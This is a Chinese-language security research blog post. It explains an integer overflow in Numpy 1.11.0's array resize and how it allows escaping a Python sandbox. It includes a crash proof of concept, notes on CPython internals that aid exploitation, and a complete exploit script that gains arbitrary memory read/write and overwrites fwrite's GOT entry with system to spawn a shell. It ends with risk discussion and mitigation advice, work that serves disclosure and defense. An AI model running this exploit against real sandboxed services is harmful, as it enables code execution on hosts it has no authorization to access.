利用內存破壞實現Python沙盒逃逸
幾周之前心癢難耐的我參與了一段時間的漏洞賞金計劃。業余這個漏洞賞金游戲最艱巨的任務就是挑選一個能夠獲得最高回報的程序。不久我就找到一個存在于Python沙盒中執行的用戶提交代碼的Web應用程序的bug,這看起來很有趣,所以我決定繼續研究它。
進過一段時間的敲打之后,我發現了在Python層實現沙盒逃逸的方法。報告歸檔了,漏洞幾天內及時被修復,得到了一筆不錯的賞金。完美!這是一個我的漏洞賞金征程的完美開端。但這篇博文不是關于這篇報告的。總之,從技術的角度來說我發現這個漏洞的過程并不有趣。事實證明回歸總可能發生問題。
起初并不確信Python沙盒的安全性會做的如此簡單。沒有太多細節,沙盒使用的是操作系統級別隔離與鎖定Python解釋器的組合。Python環境使用的是自定義的白名單/黑名單的方式來阻止對內置模塊,函數的訪問?;诓僮飨到y的隔離提供了一些額外的保護,但是它相較于今天的標準來說已經過時了。從Python解釋器的逃離并不是一個完全的勝利,但是它能夠使攻擊者危險地接近于黑掉整個系統。
因此我回到了應用程序進行了測試。沒有運氣,這確實是一個困難的挑戰。但突然我有了一個想法——Python模塊通常只是大量C代碼的封裝。這里肯定會有未被發現的內存破壞漏洞。領用內存破壞我就能夠突破Python環境的限制。
從哪里開始呢?我知道沙盒內部導入模塊的白名單?;蛟S我該先運行一個分布式的AFL fuzzer?還是一個符號執行引擎?抑或使用先進的靜態分析工具來掃描他們。當然,我可以做其中任何事情,可能我只需要查詢一些bug跟蹤器。
結果表明在狩獵之初我并沒有這個先見之明,但問題不大。直覺引導我通過手動代碼審計和測試發現一個沙盒白名單模塊中的一個可利用的內存破壞漏洞。這個漏洞存在于Numpy中,一個基本的科學計算庫——是許多流行包的核心包括scipy和pandas。要想了解Numpy作為漏洞根源的一大潛力,我們先來查看一下代碼的行數。
在這篇文章的其余部分,首先我將描述導致這個漏洞的觸發條件。接下來,我將討論一些漏洞利用開發人員應該了解的CPython運行時的奇事,然后我將逐步進入實際的利用。最后,我總結了一些Python應用程序中量化內存損壞問題的想法。
漏洞
我將要討論漏洞是Numpy v1.11.0(或許是更舊版本)中的整數溢出錯誤。自v1.12.0以來,該問題已經解決,但沒有發布安全公告。
該漏洞駐留在用于調整Numpy的多維數組類對象(ndarray和friends)的API中。定義數組形狀的元組調用了resize,其中元組的每個元素都是維度的大小。
- $ python
- >>> import numpy as np
- >>> arr = np.ndarray((2, 2), ‘int32’)
- >>> arr.resize((2, 3))
- >>> arr
- array([[-895628408, 32603, -895628408],
- [ 32603, 0, 0]], dtype=int32)
是的這個元組會泄漏未初始化的內存,但在這篇博文中我們不會討論這個問題
如上所言,resize實質上會realloc 一個buffer,其大小是元組形狀和元素大小的乘積。因此在前面的代碼片段中,arr.resize((2,3))等價于 realloc(buffer,2*3*sizeof(int32)). 下一個代碼片段是C中resize的重寫實現。
- NPY_NO_EXPORT PyObject *
- PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck,
- NPY_ORDER order)
- {
- // npy_intp is `long long`
- npy_intp* new_dimensions = newshape->ptr;
- npy_intp newsize = 1;
- int new_nd = newshape->len;
- int k;
- // NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff)
- npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize;
- for(k = 0; k < new_nd; k++) {
- newsize *= new_dimensions[k];
- if (newsize <= 0 || newsize > largest) {
- return PyErr_NoMemory();
- }
- }
- if (newsize == 0) {
- sd = PyArray_DESCR(self)->elsize;
- }
- else {
- sd = newsize*PyArray_DESCR(self)->elsize;
- }
- /* Reallocate space if needed */
- new_data = realloc(PyArray_DATA(self), sd);
- if (new_data == NULL) {
- PyErr_SetString(PyExc_MemoryError,
- “cannot allocate memory for array”);
- return NULL;
- }
- ((PyArrayObject_fields *)self)->data = new_data;
發現漏洞了嗎? 可以在for循環(第13行)中看到,每個維度相乘以產生新的大小。稍后(第25行),將新大小和元素大小的乘積作為數組大小傳遞給realloc。在realloc之前有一些關于大小的驗證,但是它不檢查整數溢出,這意味著非常大的維度可能導致分配大小不足的數組。 最終,這給攻擊者一個可利用的exploit類型:通過從具有溢出數組的大小索引來獲得讀寫任意內存的能力。
讓我們來快速開發一個poc來驗證bug的存在
- $ cat poc.py
- import numpy as np
- arr = np.array('A'*0x100)
- arr.resize(0x1000, 0x100000000000001)
- print "bytes allocated for entire array: " + hex(arr.nbytes)
- print "max # of elemenets for inner array: " + hex(arr[0].size)
- print "size of each element in inner array: " + hex(arr[0].itemsize)
- arr[0][10000000000]
- $ python poc.py
- bytes allocated for entire array: 0x100000
- max # of elemenets for inner array: 0x100000000000001
- size of each element in inner array: 0x100
- [1] 2517 segmentation fault (core dumped) python poc.py
- $ gdb `which python` core
- ...
- Program terminated with signal SIGSEGV, Segmentation fault.
- (gdb) bt
- #0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010, descr=0x7f20a2fb5870,
- base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651
- #1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80, op=<optimized out>)
- at numpy/core/src/multiarray/mapping.c:1619
- #2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539…
- (gdb) x/i $pc
- => 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx)
- (gdb) x/g $rcx
- 0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f
Cpython 運行時的一些奇怪之處
在開發exp之前,我想討論一些CPython運行時的特征來簡化exp的開發,同時討論一些阻擾exp開發的方法。 如果您想直接進入漏洞利用,請直接跳過本節。
內存泄露
通常,首要障礙之一就是要挫敗地址空間布局隨機化(ASLR)。 幸運的是,對于攻擊者來說,Python使這變得很容易。 內置id函數返回對象的內存地址,或者更準確地說,封裝對象的PyObject結構的地址。
- $ gdb -q — arg /usr/bin/python2.7
- (gdb) run -i
- …
- >>> a = ‘A’*0x100
- >>> b = ‘B’*0x100000
- >>> import numpy as np
- >>> c = np.ndarray((10, 10))
- >>> hex(id(a))
- ‘0x7ffff7f65848’
- >>> hex(id(b))
- ‘0xa52cd0’
- >>> hex(id(c))
- ‘0x7ffff7e777b0’
在現實世界的應用程序中,開發人員應確保不向用戶暴露id(object)。 在沙盒的環境中,你不可能對此行為做太多的擦奧做,除了可能將id添加進黑名單或重新實現id來返回哈希。
理解內存分配行為
了解分配器對于編寫exp至關重要。Python對不同的對象類型和大小實行不同的分配策略。我們來看看我們的大字符串0xa52cd0,小字符串0x7ffff7f65848和numpy數組0x7ffff7e777b0的位置。
- $ cat /proc/`pgrep python`/maps
- 00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7
- 008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7
- 008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7
- 00962000–00fa8000 rw-p 00000000 00:00 0 [heap] # big string
- ...
- 7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array
- ...
- 7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string
Python 對象結構
溢出和破壞Python對象的元數據是一個很強大的能力,因此理解Python對象如何是表示的很有用。Python對象都派生自PyObject,這是一個包含引用計數和對象實際類型描述符的結構。 值得注意的是,類型描述符包含許多字段,包括可能對讀取或覆蓋有用的函數指針。
先檢查一下我們在前面創建的小字符串。
- (gdb) print *(PyObject *)0x7ffff7f65848
- $2 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>}
- (gdb) print *(PyStringObject *)0x7ffff7f65848
- $3 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>, ob_size = 256, ob_shash = -1, ob_sstate = 0, ob_sval = “A”}
- (gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval
- 0x7ffff7f6586c: ‘A’ <repeats 200 times>...
- (gdb) ptype PyString_Type
- type = struct _typeobject {
- Py_ssize_t ob_refcnt;
- struct _typeobject *ob_type;
- Py_ssize_t ob_size;
- const char *tp_name;
- Py_ssize_t tp_basicsize;
- Py_ssize_t tp_itemsize;
- destructor tp_dealloc;
- printfunc tp_print;
- getattrfunc tp_getattr;
- setattrfunc tp_setattr;
- cmpfunc tp_compare;
- reprfunc tp_repr;
- PyNumberMethods *tp_as_number;
- PySequenceMethods *tp_as_sequence;
- PyMappingMethods *tp_as_mapping;
- hashfunc tp_hash;
- ternaryfunc tp_call;
- reprfunc tp_str;
- getattrofunc tp_getattro;
- setattrofunc tp_setattro;
- PyBufferProcs *tp_as_buffer;
- long tp_flags;
- const char *tp_doc;
- traverseproc tp_traverse;
- inquiry tp_clear;
- richcmpfunc tp_richcompare;
- Py_ssize_t tp_weaklistoffset;
- getiterfunc tp_iter;
- iternextfunc tp_iternext;
- struct PyMethodDef *tp_methods;
- struct PyMemberDef *tp_members;
- struct PyGetSetDef *tp_getset;
- struct _typeobject *tp_base;
- PyObject *tp_dict;
- descrgetfunc tp_descr_get;
- descrsetfunc tp_descr_set;
- Py_ssize_t tp_dictoffset;
- initproc tp_init;
- allocfunc tp_alloc;
- newfunc tp_new;
- freefunc tp_free;
- inquiry tp_is_gc;
- PyObject *tp_bases;
- PyObject *tp_mro;
- PyObject *tp_cache;
- PyObject *tp_subclasses;
- PyObject *tp_weaklist;
- destructor tp_del;
- unsigned int tp_version_tag;
- }
有許多有用的字段可用于讀取或寫入類型指針,函數指針,數據指針,大小等。
Shellcode like it’s 1999
ctypes庫作為Python和C代碼之間的橋梁。它提供與C兼容的數據類型,并允許在DLL或共享庫中調用函數。許多具有C綁定或需要調用共享庫的模塊需要導入ctypes。
我注意到,導入ctypes會導致以讀/寫/執行權限設置的4K大小的內存區域。 如果還不明顯,這意味著攻擊者甚至不需要編寫一個ROP鏈。假定你已經找到了RWX區域。利用一個bug就像把指針指向你的shellcode一樣簡單。
自己測試一下!
- $ cat foo.py
- import ctypes
- while True:
- pass
- $ python foo.py
- ^Z
- [2] + 30567 suspended python foo.py
- $ grep rwx /proc/30567/maps
- 7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0
進一步調查發現libffi的封閉API負責mmap RWX區域。 但是,該區域不能在某些平臺上分配RWX,例如啟用了selinux或PAX mprotect的系統,但有一些代碼可以解決這個限制。
我沒有花太多時間嘗試可靠地RWX mapping,但是從理論上講,如果你有一個任意讀取的exploit原函數,應該是可能的。 當ASLR應用于庫時,動態鏈接器以可預測的順序映射庫的內存。庫的內存包括庫私有的全局變量和代碼本身。 Libffi將對RWX內存的引用存儲為全局。例如,如果在堆上找到指向libffi函數的指針,則可以將RWX區域指針的地址預先計算為與libffi函數指針的地址的偏移量。每個庫版本都需要調整偏移量。
The Exploit
我在Ubuntu 14.04.5和16.04.1上測試了Python2.7二進制文件的安全相關編譯器標志。 發現幾個弱點,這對攻擊者來說是非常有用的:
部分RELRO:可執行文件的GOT seciotn,包含動態鏈接到二進制文件的庫函數的指針,是可寫的。 例如,exploits可以用system()替換printf()的地址。
沒有PIE:二進制不是位置無關的可執行文件,這意味著當內核將ASLR應用于大多數內存映射時,二進制本身的內容被映射到靜態地址。 由于GOT seciotn是二進制文件的一部分,因此PIE使攻擊者更容易找到并寫入GOT。
雖然CPython是一個充滿了漏洞開發工具的環境,但是有一些力量破壞了我的許多漏洞利用嘗試,并且難以調試。
垃圾收集器,類型系統以及可能的其他未知的力將破壞您的漏洞利用,如果您不小心克隆對象元數據。
id()可能不可靠。由于一些原因我無法確定,Python有時會在使用原始對象時傳遞對象的副本。
分配對象的區域有些不可預測。由于一些原因我無法確定,特定的編碼模式導致緩沖區被分配到brk堆中,而其他模式會在一個python指定的mmap’d堆中分配。
在發現numpy整數溢出后不久,我向提交了一個劫持指令指針的概念證明的報告,雖然沒有注入任何代碼。 當我最初提交時,我沒有意識到PoC實際上是不可靠的,并且我無法對其服務器進行正確的測試,因為驗證劫持指令指針需要訪問core dump或debugger。 供應商承認這個問題的合法性,但是比起我的第一份報告,他們的給的回報比較少。
還算不賴
我不是一個漏洞利用開發者,但挑戰自己是我做得更好。 經過多次試錯,我最終寫了一個似乎是可靠exp。 不幸的是,我無法在供應商的沙盒中測試它,因為在完成之前更新了numpy,但是在Python解釋器中本地測試時它的工作正常。
在高層次來說上,漏洞利用溢出numpy數組的大小來獲得任意的讀/寫能力。 原函數用于將系統的地址寫入fwrite的GOT / PLT條目。 最后,Python內置的print調用fwrite覆蓋,所以現在你可以調用print ‘/bin/sh’來獲取一個shell,或者用任何命令替換/ bin / sh。
我建議從自下而上開始閱讀,包括評論。 如果您使用的是不同版本的Python,請在運行該文件之前調整fwrite和system的GOT位置。
- import numpy as np
- # addr_to_str is a quick and dirty replacement for struct.pack(), needed
- # for sandbox environments that block the struct module.
- def addr_to_str(addr):
- addr_str = "%016x" % (addr)
- ret = str()
- for i in range(16, 0, -2):
- retret = ret + addr_str[i-2:i].decode('hex')
- return ret
- # read_address and write_address use overflown numpy arrays to search for
- # bytearray objects we've sprayed on the heap, represented as a PyByteArray
- # structure:
- #
- # struct PyByteArray {
- # Py_ssize_t ob_refcnt;
- # struct _typeobject *ob_type;
- # Py_ssize_t ob_size;
- # int ob_exports;
- # Py_ssize_t ob_alloc;
- # char *ob_bytes;
- # };
- #
- # Once located, the pointer to actual data `ob_bytes` is overwritten with the
- # address that we want to read or write. We then cycle through the list of byte
- # arrays until we find the one that has been corrupted. This bytearray is used
- # to read or write the desired location. Finally, we clean up by setting
- # `ob_bytes` back to its original value.
- def find_address(addr, data=None):
- i = 0
- j = -1
- k = 0
- if data:
- size = 0x102
- else:
- size = 0x103
- for k, arr in enumerate(arrays):
- i = 0
- for i in range(0x2000): # 0x2000 is a value that happens to work
- # Here we search for the signature of a PyByteArray structure
- j = arr[0][i].find(addr_to_str(0x1)) # ob_refcnt
- if (j < 0 or
- arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or # ob_size
- arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc
- continue
- idx_bytes = j+0x28 # ob_bytes
- # Save an unclobbered copy of the bytearray metadata
- saved_metadata = arrays[k][0][i]
- # Overwrite the ob_bytes pointer with the provded address
- addr_string = addr_to_str(addr)
- new_metadata = (saved_metadata[0:idx_bytes] +
- addr_string +
- saved_metadata[idx_bytes+8:])
- arrays[k][0][i] = new_metadata
- ret = None
- for bytearray_ in bytearrays:
- try:
- # We differentiate the signature by size for each
- # find_address invocation because we don't want to
- # accidentally clobber the wrong bytearray structure.
- # We know we've hit the structure we're looking for if
- # the size matches and it contents do not equal 'XXXXXXXX'
- if len(bytearray_) == size and bytearray_[0:8] != 'XXXXXXXX':
- if data:
- bytearray_[0:8] = data # write memory
- else:
- ret = bytearray_[0:8] # read memory
- # restore the original PyByteArray->ob_bytes
- arrays[k][0][i] = saved_metadata
- return ret
- except:
- pass
- raise Exception("Failed to find address %x" % addr)
- def read_address(addr):
- return find_address(addr)
- def write_address(addr, data):
- find_address(addr, data)
- # The address of GOT/PLT entries for system() and fwrite() are hardcoded. These
- # addresses are static for a given Python binary when compiled without -fPIE.
- # You can obtain them yourself with the following command:
- # `readelf -a /path/to/python/ | grep -E '(system|fwrite)'
- SYSTEM = 0x8eb278
- FWRITE = 0x8eb810
- # Spray the heap with some bytearrays and overflown numpy arrays.
- arrays = []
- bytearrays = []
- for i in range(100):
- arrays.append(np.array('A'*0x100))
- arrays[-1].resize(0x1000, 0x100000000000001)
- bytearrays.append(bytearray('X'*0x102))
- bytearrays.append(bytearray('X'*0x103))
- # Read the address of system() and write it to fwrite()'s PLT entry.
- data = read_address(SYSTEM)
- write_address(FWRITE, data)
- # print() will now call system() with whatever string you pass
- print "PS1='[HACKED] $ ' /bin/sh"
運行此exp會返回給你一個shell
- $ virtualenv .venv
- Running virtualenv with interpreter /usr/bin/python2
- New python executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python2
- Also creating executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python
- Installing setuptools, pkg_resources, pip, wheel...done.
- $ source .venv/bin/activate
- (.venv) $ pip install numpy==1.11.0
- Collecting numpy==1.11.0
- Using cached numpy-1.11.0-cp27-cp27mu-manylinux1_x86_64.whl
- Installing collected packages: numpy
- Successfully installed numpy-1.11.0
- (.venv) $ python --version
- Python 2.7.12
- (.venv) $ python numpy_exploit.py
- [HACKED] $
如果您不運行Python 2.7.12,請參閱漏洞利用中的注釋,了解如何使其適用于您的Python版本。
量化風險
眾所周知,Python的核心和許多第三方模塊都是C代碼的封裝。也許不被認識到,內存破壞在流行的Python模塊中一直沒有像CVE,安全公告,甚至在發行說明中提到安全修補程序一樣被報告。
是的,Python模塊中有很多內存損壞的bug。 當然不是所有的都是可以利用的,但你必須從某個地方開始。為了解釋內存破壞造成的風險,我發現使用兩個獨立的用例來描述對話很有用:常規Python應用程序和沙盒不受信任的代碼。
正則表達式
我們關心的應用程序類型是具有有意義的攻擊面的那些??紤]Web應用程序和其他面向網絡的服務,處理不受信任的內容,系統特權服務等的客戶端應用程序。許多這些應用程序導入由成堆C代碼便宜而來的Python模塊,且將其內存破壞視為安全問題。這個純粹的想法可能會使一些安全專業人員夙夜難寐,但實際上風險通常被忽視或忽視。我懷疑有幾個原因:
- 遠程識別和利用內存破壞問題的難度相當高,特別是對于閉源和遠程應用程序。
- 應用程序暴露不可信輸入路徑以達到易受攻擊的功能的可能性可能相當低。
- 意識不足,因為Python模塊中的內存損壞錯誤通常不會被視為安全問題。
公平地說,由于某些隨機Python模塊中的緩沖區溢出而導致入侵的可能性可能相當低。但是,再次聲明,內存破壞的缺陷在發生時可能是非常有害的。有時它甚至不會讓任何人明確地利用他們來造成破壞。更糟糕的是,當庫維護者在安全性方面不考慮內存破壞問題時,給庫打上安全補丁是不可能的。
如果您開發了一個主要的Python應用程序,建議您至少使用流行的Python模塊。嘗試找出您的模塊依賴的C代碼數量,并分析本地代碼暴露于應用程序邊緣的潛力。
沙盒
一些服務允許用戶在沙箱內運行不受信任的Python代碼。 操作系統級的沙盒功能,如linux命名空間和seccomp,最近才以Docker,LXC等形式流行起來。不行的是,今日仍然可以發現用戶使用較弱的沙盒技術 – 在chroot形式的OS層更糟糕的是,沙盒可以完全在Python中完成(請參閱pypy-sandbox和pysandbox)。
內存破壞完全打破了OS不執行沙盒這一原則。 執行Python代碼子集的能力使得開發遠exp比常規應用程序更加方便。即使是由于其虛擬化系統調用的雙進程模型而聲稱安全的Pypy-sandbox也可能被緩沖區溢出所破壞。
如果您想運行任何不受信任的代碼,請投入精力建立一個安全的操作系統和網絡架構來沙盒執行它。